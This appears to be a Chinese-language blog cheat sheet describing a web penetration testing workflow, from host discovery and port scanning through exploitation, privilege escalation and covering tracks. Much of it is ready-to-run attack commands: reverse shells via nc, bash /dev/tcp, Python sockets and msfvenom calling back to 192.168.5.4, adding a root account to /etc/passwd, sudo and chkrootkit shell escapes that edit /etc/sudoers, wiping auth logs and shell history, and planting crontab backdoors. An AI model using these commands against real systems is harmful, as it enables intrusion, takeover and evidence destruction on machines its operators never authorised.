WEB渗透测试流程

WEB渗透测试流程_第1张图片

1信息收集

1.1主机发现

netdiscover -i 网卡 -r 网段

nmap -sn 网段

 

1.2端口扫描

masscan --rate=速度 --ports=0-65535 ip地址

1.3版本操作系统端口识别

nmap -T4(速度) -sV(版本) -O(操作系统) -p(端口逗号隔开)80,22  ip地址

 

1.4网页目录扫描

dirb url    (可以用dpkg -L dirb查看字典,更换字典)

也可以用御剑,dirbuster图形化界面

1.5收集:

域名信息、邮件地址、文档图片数据、公司地址、公司组织架构、联系电话、传 真、人员姓名,职务、目标系统使用的技术架构、公开的商业信息

 

2漏洞扫描

可以手动测试,或者用工具测试

sql注入

可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入

 

xss跨站脚本攻击

查看代码,查找关键的变量,客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie,从中判断是否存在xss

 

CSRF跨站请求伪造

用户登录,服务器不存在二次认证,被害者不知情

文件包含漏洞

查看是否存在?page=     ?file=     ?home=

 

文件上传漏洞

查看是否有文件上传点(能上传木马),上传的木马能执行,清楚上传后的路径

 

文件解析漏洞

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断.如a.php.jpg解析为a.php

 

命令执行漏洞

通过&  &&  |  ||  ;执行被限制的命令

 

弱口令暴力破解

用burpsuite抓包,导入到instruder,然后进行暴力破解

...

扫描工具

awvs

appscan

owaspzap

nessus

sqlmap

...

3漏洞利用

通过扫描到的漏洞进行漏洞利用,只利用一个漏洞很难拿到shell,所以一般情况都是结合几个漏洞拿到shell

常用的反弹shell命令:

php

&3 2>&3")?>

 

菜刀连接

 

执行系统命令

 

shell命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.5.4 443 >/tmp/f

echo "bash -i >&/dev/tcp/192.168.5.4/1999 0>&1" | bash

 

阻塞浏览器

cmd=mkfifo /tmp/t

cmd=cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t)

 

msf制作脚本

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.5.4 LPORT=443 > 443.php

 

python脚本

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("192.168.5.4",1234))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/bash","-i"])

在url上输入命令时,要将命令用url编码

4提权

4.1 linux提权

4.1.1使用漏洞提权

searchsploit 搜索版本

开启apache

wget,scp或者菜刀上传.c文件到/tmp下

编译.c文件

gcc .c文件 -o exp

给exp赋予权限

chmod 777 exp

执行

./exp

4.1.2使用脏牛提权

步骤同上,

编译时用

gcc -pthread dirty.c -o exp -lcrypt

4.1.3使用配置不当提权

(1)/etc/passwd是否具有权限,如果有,可以加入一个root权限用户

perl -le 'print crypt("pass","aa")'    给密码pass加密

echo "hack:加密过的密码:0:0:hack:/root:/bin/bash" >> passwd

(2)用户具有sudo命令权限时

创建一个终端

awk 'BEGIN{system("/bin/bash")}'  或  python -c 'import pty;pty.spawn("/bin/bash")'

sudo su root

(3)如果有sudo权限,

sudo -l

若显示有

(root)NOPASSWD:/bin/tar

(root)NOPASSWD:/usr/bin/zip

tar、zip命令可以使用无密码进行执行

提权:

touch exploit

sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty;pty.spawn("/bin/sh")'"

(4)chkrootkit漏洞

cd/tmp

touch /tmp/update

chmod +x /tmp/update

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)PASSWD:ALL" >> /etc/sudoers'> /tmp/update

sudo su root

4.1.5使用corntab提权

该文件中可定义指定命令的运行周期及具体时间,同时 /etc 下 的 cron.hourly、cron.daily、cron.weekly、cron.monthly 目 录分别用于存放每小时、每天、每周、每月需定期执行的脚本。通过查看目录下的脚本,看普通用户是否有修改权限,然后添加用户权限。

4.2 windows提权

4.2.1 进程注入提权

pinjector -l 查看进程

pinjector -p pid cmd 端口

 

5清除痕迹,留后门

身份认证日志

/var/log/auth.log

错误登录日志

/var/log/btmp

历史操作记录清除

history -c

 

直接清空,例btmp

echo > /var/log/btmp

或者用sed命令清除后几行

sed -i 'N,Md' filename(第N到M行删除)

 

后门

可以写脚本,然后加入到crontab定时执行,也可以写一句话木马用菜刀连接

也可以创建一个新的管理员用户

6写渗透测试报告

 

你可能感兴趣的:(kali)